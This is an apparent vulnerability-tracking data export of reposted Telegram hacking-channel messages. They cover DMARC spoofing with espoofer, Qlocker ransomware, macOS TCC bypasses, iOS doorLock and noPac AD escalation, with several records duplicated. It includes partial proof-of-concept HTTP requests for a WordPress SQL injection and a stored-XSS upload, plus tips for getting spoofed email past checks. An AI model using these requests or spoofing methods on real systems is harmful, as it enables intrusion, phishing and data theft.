info@blackhatethicalhacking.com\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable Patch issuedVMWare has patched both security issues in its latest version of the enterprise software.\n\nIn their blog post, Shah and Sampson thanked the ven[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-22056", "author": {"login": "automation"}}, {"uuid": "74c6a081-17e8-4afb-89d1-19faeb148ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.261161+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38673", "content": "Bugs found with this tool    Gmail.com DMARC bypass demo video, https://youtu.be/xuKZpT0rsd0  Outlook.com DMARC bypass video, https://youtu.be/IsWgAEbPaK0  Yahoo.com DMARC bypass video, https://youtu.be/DRepfStOruE  Protonmail.com DMARC bypass video,\u00a0https://youtu.be/bh4_SoPniMA  CVE-2020-12272, OpenDMARC bypass bug report, https://sourceforge.net/p/opendmarc/tickets/237/  CVE-2019-20790, OpenDMARC and pypolicyd-spf bypass bug report, https://sourceforge.net/p/opendmarc/tickets/235/  Mail.ru DMARC bypass bug report on HackerOne, https://hackerone.com/reports/731878    Welcome to send a pull request to file your bug report here.  Q&A    How do I know if the email has bypassed DMARC authentication successfully?    You can check it in the Authentication-results header in the raw message headers. If the header shows dmarc=pass, it means the email has passed the DMARC authentication. \u00a0You can check some demos video here (https://www.youtube.com/playlist?list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-).    Why do emails fail to send?    There are several possible reasons if you fail to send an email: 1) your ISP blocks outgoing emails to port 25 to prevent spam. In this case, you need to ask for permission from the ISP; 2) the IP address is in the spam list of the target email services. In many cases, you resolve the problem here, https://www.spamhaus.org/lookup/ ; \u00a03) some email services check if there is a PTR record for the sending IP, you may also need to set the PTR record to bypass this check; 4) the email cannot pass the format validation of the target email service, you may want to try a different test case.    Why the email goes to the spam folder? Any way to avoid this?    Currently, espoofer focuses on bypassing SPF/DKIM/DMARC authentication and doesn't aim for spam filter bypass. But you could try to use a reputable sending IP address, domain, and benign message content to bypass the spam filter.    Why I send an email successfully but the email didn't show up\u00a0in either inbox or spam folder?    In our prior experiences, some email services filter suspicious emails silently.    When testing server_a5/a6, why I cannot set specical characters like \"(\" in the domain?    You will need to set up your own authority DNS server, rather than use third-party DNS hosting services,  as some DNS hosting services have restrictions on setting specical characters. See issue (https://github.com/chenjj/espoofer/issues/2#issuecomment-686918954).  Credits  Welcome to add more test cases.  \n\nDownload Espoofer (https://github.com/chenjj/espoofer)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-12272", "author": {"login": "automation"}}, {"uuid": "f409078b-3996-4cf1-b506-169ccb0d29b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.209476+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38673", "content": "Bugs found with this tool    Gmail.com DMARC bypass demo video, https://youtu.be/xuKZpT0rsd0  Outlook.com DMARC bypass video, https://youtu.be/IsWgAEbPaK0  Yahoo.com DMARC bypass video, https://youtu.be/DRepfStOruE  Protonmail.com DMARC bypass video,\u00a0https://youtu.be/bh4_SoPniMA  CVE-2020-12272, OpenDMARC bypass bug report, https://sourceforge.net/p/opendmarc/tickets/237/  CVE-2019-20790, OpenDMARC and pypolicyd-spf bypass bug report, https://sourceforge.net/p/opendmarc/tickets/235/  Mail.ru DMARC bypass bug report on HackerOne, https://hackerone.com/reports/731878    Welcome to send a pull request to file your bug report here.  Q&A    How do I know if the email has bypassed DMARC authentication successfully?    You can check it in the Authentication-results header in the raw message headers. If the header shows dmarc=pass, it means the email has passed the DMARC authentication. \u00a0You can check some demos video here (https://www.youtube.com/playlist?list=PL--A-gWJV1dJ19SyhkzklMC3C8ra1kK5-).    Why do emails fail to send?    There are several possible reasons if you fail to send an email: 1) your ISP blocks outgoing emails to port 25 to prevent spam. In this case, you need to ask for permission from the ISP; 2) the IP address is in the spam list of the target email services. In many cases, you resolve the problem here, https://www.spamhaus.org/lookup/ ; \u00a03) some email services check if there is a PTR record for the sending IP, you may also need to set the PTR record to bypass this check; 4) the email cannot pass the format validation of the target email service, you may want to try a different test case.    Why the email goes to the spam folder? Any way to avoid this?    Currently, espoofer focuses on bypassing SPF/DKIM/DMARC authentication and doesn't aim for spam filter bypass. But you could try to use a reputable sending IP address, domain, and benign message content to bypass the spam filter.    Why I send an email successfully but the email didn't show up\u00a0in either inbox or spam folder?    In our prior experiences, some email services filter suspicious emails silently.    When testing server_a5/a6, why I cannot set specical characters like \"(\" in the domain?    You will need to set up your own authority DNS server, rather than use third-party DNS hosting services,  as some DNS hosting services have restrictions on setting specical characters. See issue (https://github.com/chenjj/espoofer/issues/2#issuecomment-686918954).  Credits  Welcome to add more test cases.  \n\nDownload Espoofer (https://github.com/chenjj/espoofer)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-20790", "author": {"login": "automation"}}, {"uuid": "932991ac-0996-4962-9fe5-5f45c779a6a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.150480+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/38939", "content": "Black Hat Ethical Hacking\nQlocker ransomware returns \u2013 targets QNAP NAS devices worldwide\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwidePost Views: 104 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThreat actors behind the Qlocker ransomware are once again targeting Internet-exposed QNAP Network Attached Storage (NAS) devices worldwide. \nQlocker has previously targeted QNAP customers in a massive ransomware campaign\u00a0that started during the week of April 19, moving victims\u2019 files within password-protected 7-zip archives with the .7z extension after breaching their NAS devices.\n\nQNAP warned that the attackers were exploiting the CVE-2021-28799 hard-coded credentials vulnerability\u00a0in the HBS 3 Hybrid Backup Sync app to hack into users\u2019 devices and lock their files.\n\nHowever, for some QNAP customers targeted in last year\u2019s Qlocker ransomware campaign, the warning came way too late after the attackers extorted hundreds of QNAP users.\n\nIn total, affected QNAP users lost roughly $350,000 within a single month after paying ransoms of 0.01 bitcoins (worth approximately $500 at the time) to get the password needed to recover their data.\nSee Also: Complete Offensive Security and Ethical Hacking Course Qlocker returns in new 2022 campaignThe new Qlocker ransomware campaign began on January 6 and it drops ransom notes named !!!READ_ME.txt on compromised devices.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/Qlocker%20ransom%20note.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-28799", "author": {"login": "automation"}}, {"uuid": "9758a3c7-9a3b-402e-84a4-1e09713b91d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.094575+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38530", "content": "Exploit Collector\nWordPress Core 5.8.2 SQL Injection\n\nhttps://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png \nWordPress Core version 5.8.2 suffers from a remote SQL injection vulnerability.\n\nMD5 | d7d5f48971d62eb48cd036c99568cc99\n\nDownload\n# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection\n# Date: 11/01/2022\n# Exploit Author: Aryan Chehreghani\n# Vendor Homepage: https://wordpress.org\n# Software Link: https://wordpress.org/download/releases\n# Version: < 5.8.3\n# Tested on: Windows 10\n# CVE : CVE-2022-21661\n\n# [ VULNERABILITY DETAILS ] : \n\n#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,\n#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,\n#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,\n#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.\n\n# [ References ] : \n\nhttps://wordpress.org/news/category/releases\nhttps://www.zerodayinitiative.com/advisories/ZDI-22-020\nhttps://hackerone.com/reports/1378209\n\n# [ Sample Request ] :\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: localhost\nUpgrade-Insecure_Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: cross-site\nSec-Fetch-User: ?1\nCache-Control: max-age=0\nConnection: close \nContent-Type: application/x-www-form-urlencoded\n\naction=\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21661", "author": {"login": "automation"}}, {"uuid": "ec5db7d8-86a7-4486-a9e4-8873ed7eb13c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.051936+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38195", "content": "Black Hat Ethical Hacking\nMicrosoft: powerdir bug gives access to protected macOS user data\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft: powerdir bug gives access to protected macOS user dataPost Views: 71 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThe Microsoft 365 Defender Research Team has reported the vulnerability dubbed\u00a0powerdir\u00a0(tracked as CVE-2021-30970) to Apple on July 15, 2021, via the Microsoft Security Vulnerability Research (MSVR).\nMicrosoft says threat actors could use a macOS vulnerability to bypass Transparency, Consent, and Control (TCC) technology to access users\u2019 protected data.\n\nWhile Apple has restricted TCC access only to apps with full disk access and set up features to automatically block unauthorized code execution, Microsoft security researchers found that attackers could plant a second, specially crafted TCC database that would allow them to access protected user info.\n\n\u201cWe discovered that it is possible to programmatically change a target user\u2019s home directory and plant a fake TCC database, which stores the consent history of app requests,\u201d said\u00a0Jonathan Bar Or, a principal security researcher at Microsoft.\n\n\u201cIf exploited on unpatched systems, this vulnerability could allow a malicious actor to potentially orchestrate an attack based on the user\u2019s protected personal data.\nSee Also: Complete Offensive Security and Ethical Hacking Course\n\u201cFor example, the attacker could hijack an app installed on the device\u2014or install their own malicious app\u2014and access the microphone to record private conversations or capture screenshots of sensitive information displayed on the user\u2019s screen.\u201d\n\nApple has also patched other TCC bypasses reported since 2020, including:\n\n* Time Machine mounts\u00a0(CVE-2020-9771): macOS offers a built-in backup and restore solution called Time Machine. It was discovered that Time Machine backups could be mounted (using the apfs_mount utility) with the \u201cnoowners\u201d flag. Since these backups contain the TCC.db files, an attacker could mount those backups and determine the device\u2019s TCC policy without having full disk access.\n* Environment variable poisoning\u00a0(CVE-2020-9934): It was discovered that the user\u2019s tccd could build the path to the TCC.db file by expanding $HOME/Library/Application Support/com.apple.TCC/TCC.db. Since the user could manipulate the $HOME environment variable (as introduced to tccd by launchd), an attacker could plant a chosen TCC.db file in an arbitrary path, poison the $HOME environment variable, and make TCC.db consume that file instead.\n* Bundle conclusion issue\u00a0(CVE-2021-30713): First disclosed by Jamf\u00a0in a blog post about the XCSSET malware family, this bug abused how macOS was deducing app bundle information. For example, suppose an attacker knows of a specific app that commonly has microphone access. In that case, they could plant their application code in the target app\u2019s bundle and \u201cinherit\u201d its TCC capabilities.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/powerdir_poc.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-9771", "author": {"login": "automation"}}, {"uuid": "5b6e3156-f8a0-41ca-9015-6e8e797c2778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:05.000216+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38195", "content": "Black Hat Ethical Hacking\nMicrosoft: powerdir bug gives access to protected macOS user data\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft: powerdir bug gives access to protected macOS user dataPost Views: 71 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThe Microsoft 365 Defender Research Team has reported the vulnerability dubbed\u00a0powerdir\u00a0(tracked as CVE-2021-30970) to Apple on July 15, 2021, via the Microsoft Security Vulnerability Research (MSVR).\nMicrosoft says threat actors could use a macOS vulnerability to bypass Transparency, Consent, and Control (TCC) technology to access users\u2019 protected data.\n\nWhile Apple has restricted TCC access only to apps with full disk access and set up features to automatically block unauthorized code execution, Microsoft security researchers found that attackers could plant a second, specially crafted TCC database that would allow them to access protected user info.\n\n\u201cWe discovered that it is possible to programmatically change a target user\u2019s home directory and plant a fake TCC database, which stores the consent history of app requests,\u201d said\u00a0Jonathan Bar Or, a principal security researcher at Microsoft.\n\n\u201cIf exploited on unpatched systems, this vulnerability could allow a malicious actor to potentially orchestrate an attack based on the user\u2019s protected personal data.\nSee Also: Complete Offensive Security and Ethical Hacking Course\n\u201cFor example, the attacker could hijack an app installed on the device\u2014or install their own malicious app\u2014and access the microphone to record private conversations or capture screenshots of sensitive information displayed on the user\u2019s screen.\u201d\n\nApple has also patched other TCC bypasses reported since 2020, including:\n\n* Time Machine mounts\u00a0(CVE-2020-9771): macOS offers a built-in backup and restore solution called Time Machine. It was discovered that Time Machine backups could be mounted (using the apfs_mount utility) with the \u201cnoowners\u201d flag. Since these backups contain the TCC.db files, an attacker could mount those backups and determine the device\u2019s TCC policy without having full disk access.\n* Environment variable poisoning\u00a0(CVE-2020-9934): It was discovered that the user\u2019s tccd could build the path to the TCC.db file by expanding $HOME/Library/Application Support/com.apple.TCC/TCC.db. Since the user could manipulate the $HOME environment variable (as introduced to tccd by launchd), an attacker could plant a chosen TCC.db file in an arbitrary path, poison the $HOME environment variable, and make TCC.db consume that file instead.\n* Bundle conclusion issue\u00a0(CVE-2021-30713): First disclosed by Jamf\u00a0in a blog post about the XCSSET malware family, this bug abused how macOS was deducing app bundle information. For example, suppose an attacker knows of a specific app that commonly has microphone access. In that case, they could plant their application code in the target app\u2019s bundle and \u201cinherit\u201d its TCC capabilities.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/powerdir_poc.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-30970", "author": {"login": "automation"}}, {"uuid": "61c6984e-7301-4c20-95f9-4680658b65f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.949410+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38195", "content": "Black Hat Ethical Hacking\nMicrosoft: powerdir bug gives access to protected macOS user data\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft: powerdir bug gives access to protected macOS user dataPost Views: 71 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThe Microsoft 365 Defender Research Team has reported the vulnerability dubbed\u00a0powerdir\u00a0(tracked as CVE-2021-30970) to Apple on July 15, 2021, via the Microsoft Security Vulnerability Research (MSVR).\nMicrosoft says threat actors could use a macOS vulnerability to bypass Transparency, Consent, and Control (TCC) technology to access users\u2019 protected data.\n\nWhile Apple has restricted TCC access only to apps with full disk access and set up features to automatically block unauthorized code execution, Microsoft security researchers found that attackers could plant a second, specially crafted TCC database that would allow them to access protected user info.\n\n\u201cWe discovered that it is possible to programmatically change a target user\u2019s home directory and plant a fake TCC database, which stores the consent history of app requests,\u201d said\u00a0Jonathan Bar Or, a principal security researcher at Microsoft.\n\n\u201cIf exploited on unpatched systems, this vulnerability could allow a malicious actor to potentially orchestrate an attack based on the user\u2019s protected personal data.\nSee Also: Complete Offensive Security and Ethical Hacking Course\n\u201cFor example, the attacker could hijack an app installed on the device\u2014or install their own malicious app\u2014and access the microphone to record private conversations or capture screenshots of sensitive information displayed on the user\u2019s screen.\u201d\n\nApple has also patched other TCC bypasses reported since 2020, including:\n\n* Time Machine mounts\u00a0(CVE-2020-9771): macOS offers a built-in backup and restore solution called Time Machine. It was discovered that Time Machine backups could be mounted (using the apfs_mount utility) with the \u201cnoowners\u201d flag. Since these backups contain the TCC.db files, an attacker could mount those backups and determine the device\u2019s TCC policy without having full disk access.\n* Environment variable poisoning\u00a0(CVE-2020-9934): It was discovered that the user\u2019s tccd could build the path to the TCC.db file by expanding $HOME/Library/Application Support/com.apple.TCC/TCC.db. Since the user could manipulate the $HOME environment variable (as introduced to tccd by launchd), an attacker could plant a chosen TCC.db file in an arbitrary path, poison the $HOME environment variable, and make TCC.db consume that file instead.\n* Bundle conclusion issue\u00a0(CVE-2021-30713): First disclosed by Jamf\u00a0in a blog post about the XCSSET malware family, this bug abused how macOS was deducing app bundle information. For example, suppose an attacker knows of a specific app that commonly has microphone access. In that case, they could plant their application code in the target app\u2019s bundle and \u201cinherit\u201d its TCC capabilities.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/powerdir_poc.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-30713", "author": {"login": "automation"}}, {"uuid": "3a9b09e5-4787-461d-90c3-08df40a087df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.902457+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38195", "content": "Black Hat Ethical Hacking\nMicrosoft: powerdir bug gives access to protected macOS user data\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft: powerdir bug gives access to protected macOS user dataPost Views: 71 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThe Microsoft 365 Defender Research Team has reported the vulnerability dubbed\u00a0powerdir\u00a0(tracked as CVE-2021-30970) to Apple on July 15, 2021, via the Microsoft Security Vulnerability Research (MSVR).\nMicrosoft says threat actors could use a macOS vulnerability to bypass Transparency, Consent, and Control (TCC) technology to access users\u2019 protected data.\n\nWhile Apple has restricted TCC access only to apps with full disk access and set up features to automatically block unauthorized code execution, Microsoft security researchers found that attackers could plant a second, specially crafted TCC database that would allow them to access protected user info.\n\n\u201cWe discovered that it is possible to programmatically change a target user\u2019s home directory and plant a fake TCC database, which stores the consent history of app requests,\u201d said\u00a0Jonathan Bar Or, a principal security researcher at Microsoft.\n\n\u201cIf exploited on unpatched systems, this vulnerability could allow a malicious actor to potentially orchestrate an attack based on the user\u2019s protected personal data.\nSee Also: Complete Offensive Security and Ethical Hacking Course\n\u201cFor example, the attacker could hijack an app installed on the device\u2014or install their own malicious app\u2014and access the microphone to record private conversations or capture screenshots of sensitive information displayed on the user\u2019s screen.\u201d\n\nApple has also patched other TCC bypasses reported since 2020, including:\n\n* Time Machine mounts\u00a0(CVE-2020-9771): macOS offers a built-in backup and restore solution called Time Machine. It was discovered that Time Machine backups could be mounted (using the apfs_mount utility) with the \u201cnoowners\u201d flag. Since these backups contain the TCC.db files, an attacker could mount those backups and determine the device\u2019s TCC policy without having full disk access.\n* Environment variable poisoning\u00a0(CVE-2020-9934): It was discovered that the user\u2019s tccd could build the path to the TCC.db file by expanding $HOME/Library/Application Support/com.apple.TCC/TCC.db. Since the user could manipulate the $HOME environment variable (as introduced to tccd by launchd), an attacker could plant a chosen TCC.db file in an arbitrary path, poison the $HOME environment variable, and make TCC.db consume that file instead.\n* Bundle conclusion issue\u00a0(CVE-2021-30713): First disclosed by Jamf\u00a0in a blog post about the XCSSET malware family, this bug abused how macOS was deducing app bundle information. For example, suppose an attacker knows of a specific app that commonly has microphone access. In that case, they could plant their application code in the target app\u2019s bundle and \u201cinherit\u201d its TCC capabilities.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/powerdir_poc.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-9934", "author": {"login": "automation"}}, {"uuid": "3f5d1aed-ed08-4587-b2ca-3d677793c33d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.851949+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38377", "content": "Exploit Collector\nWordPress Frontend Uploader 1.3.2 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png \nWordPress Frontend Uploader plugin version 1.3.2 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 745c79898a3cfd95a9dc57face0360b2\n\nDownload\n# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)\n# Date: 10/01/2022\n# Exploit Author: Veshraj Ghimire\n# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/\n# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/\n# Version: 1.3.2\n# Tested on: Windows 10 - Chrome, WordPress 5.8.2\n# CVE :  CVE-2021-24563\n\n# References:\n\nhttps://www.youtube.com/watch?v=lfrLoHl4-Zs\nhttps://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1\n\n# Description:\n\nThe plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly\n# Proof Of Concept:\nPOST /wp-admin/admin-ajax.php HTTP/1.1\n\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n\nAccept-Language: en-GB,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: multipart/form-data;\nboundary=---------------------------124662954015823207281179831654\n\nContent-Length: 1396\n\nConnection: close\n\nUpgrade-Insecure-Requests: 1\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"post_ID\"\n1247\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"post_title\"\ntest\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"post_content\"\ntest\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"files[]\"; filename=\"xss.html\"\n\nContent-Type: text/html\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"action\"\nupload_ugc\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"form_layout\"\nimage\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"fu_nonce\"\n021fb612f9\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"_wp_http_referer\"\n/wordpress/frontend-uploader-form/\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"ff\"\n92b6cbfa6120e13ff1654e28cef2a271\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"form_post_id\"\n1247\n\n-----------------------------124662954015823207281179831654--\nThen access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-24563", "author": {"login": "automation"}}, {"uuid": "4b0242ef-2625-4bac-9927-1938827810e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.796696+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38448", "content": "Black Hat Ethical Hacking\nApple fixes doorLock bug that can disable iPhones and iPads\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Apple fixes doorLock bug that can disable iPhones and iPadsPost Views: 93 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nApple has released security updates to address a persistent denial of service (DoS) dubbed doorLock that would altogether disable iPhones and iPads running HomeKit on iOS 14.7 and later.\nHomeKit is an Apple\u00a0protocol and framework that allow iOS and iPadOS users to discover and control\u00a0smart home appliances on their network.\n\nAs the company explained in a security advisory\u00a0issued today, the doorLock vulnerability\u00a0tracked as CVE-2022-22588\u00a0will crash affected iOS and iPadOS devices when processing maliciously crafted HomeKit accessory names.\n\nApple has addressed this severe\u00a0resource exhaustion issue in iOS 15.2.1 and iPadOS 15.2.1 by adding improved input validation which no longer allows attackers to disable vulnerable devices.\n\nDevices that received security updates today include iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\n\u201cFour months ago I discovered and reported a serious denial of service bug in iOS that still remains in the latest release. It persists through reboots and can trigger after restores under certain conditions,\u201d\u00a0Trevor Spiniolas, the programmer and \u201cbeginning security researcher\u201d who spotted and reported the bug.\nSee Also: Complete Offensive Security and Ethical Hacking Course \u201cAll the requirements are default settings. When someone sets up their iOS device, everything is already in order for the bug to work. If they accept a malicious home invitation from there, their device stops working.\u201d\nSee Also: Microsoft: New critical Windows HTTP vulnerability is wormable Fix delayed since AugustAccording to\u00a0Spiniolas,\u00a0Apple has known about doorLock\u00a0since August 2021, 2021, but pushed the security update multiple times despite repeatedly promising\u00a0to fix it.\n\n\u201cI believe this bug is being handled inappropriately as it poses a serious risk to users and many months have passed without a comprehensive fix,\u201d\u00a0Spinolas said.\n\n\u201cThe public should be aware of this vulnerability and how to prevent it from being exploited, rather than being kept in the dark.\u201d\n\nThe researcher says attackers would have to change the name of a HomeKit device to large strings of up to 500,000 characters and trick the target into accepting a Home invitation.\n\nOnce the target joins the attacker\u2019s HomeKit network, their device becomes unresponsive and eventually crashes.\n\nThe only way to recover from such an attack would be to factory reset the disabled device, given that it will once again crash after restarting and signing back into the iCloud account linked to the HomeKit device.\nSee Also: Offensive Security Tool: Osmedeus Zero-day patches\u00a0also delayedIn September, software developer\u00a0Denis Tokarev also dropped\u00a0proof-of-concept exploit code for three iOS zero-day flaws\u00a0on GitHub after Apple delayed patching and failed to credit him when patching a fourth in July.\n\nOne month later, with the release of iOS 15.0.2, Apple\u00a0fixed one of the\u00a0\u2018gamed\u2019 zero-day vulnerabilities reported by Tokarev.\n\nHowever, Apple didn\u2019t\u00a0acknowledge or credit\u00a0him for the discovery and also asked him to keep quiet\u00a0and not disclose to others that the company failed to give him credit for the bug.\n\nOther security researchers and bug bounty hunters\u00a0have also gone through\u00a0similar experiences saying\u00a0th[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22588", "author": {"login": "automation"}}, {"uuid": "e9486164-ad0e-4ad2-9cd6-10c7294d45b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.739181+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/38186", "content": "Hacking Articles\nActive Directory Privilege Escalation (CVE-2021\u201342278)\n\nThis post discusses how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any\n\nThe post Active Directory Privilege Escalation (CVE-2021\u201342278) appeared first on Hacking Articles.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42287", "author": {"login": "automation"}}, {"uuid": "ce4dc67d-597c-4883-9fa4-e89eca61eccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:00:04.678068+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/38156", "content": "Hacking Articles|Raj Chandel's Blog\nActive Directory Privilege Escalation (CVE-2021\u201342278)\n\nThis post discusses about how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user) Description:Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.Release Date:Nov 9, 2021Impact:Elevation of PrivilegeSeverity:ImportantCVSS score:8.8Pentest Lab setupIn the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.net user sakshihttps://blogger.googleusercontent.com/img/a/AVvXsEjimJpxnvI0YnvCZvfez16f-y3jqhrFe_fEfNn3MoLodMxxYdsU119qQjwF-ibUB0Epq4mL6EjoE2_3819nG26bAxTK2lha2N8gXL8iL56VVTsbEzzjB_zyIV6ATLLsJsrbEnsljEq3-GPmvjwz5v9zdN0t63LFo1OwfG1hdaSZksYKqjD5DILbM6d7ug=s16000 ExploitNow on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.git clone https://github.com/Ridter/noPac After cloning the repo https://github.com/Ridter/noPac, navigate to the noPac foldercd 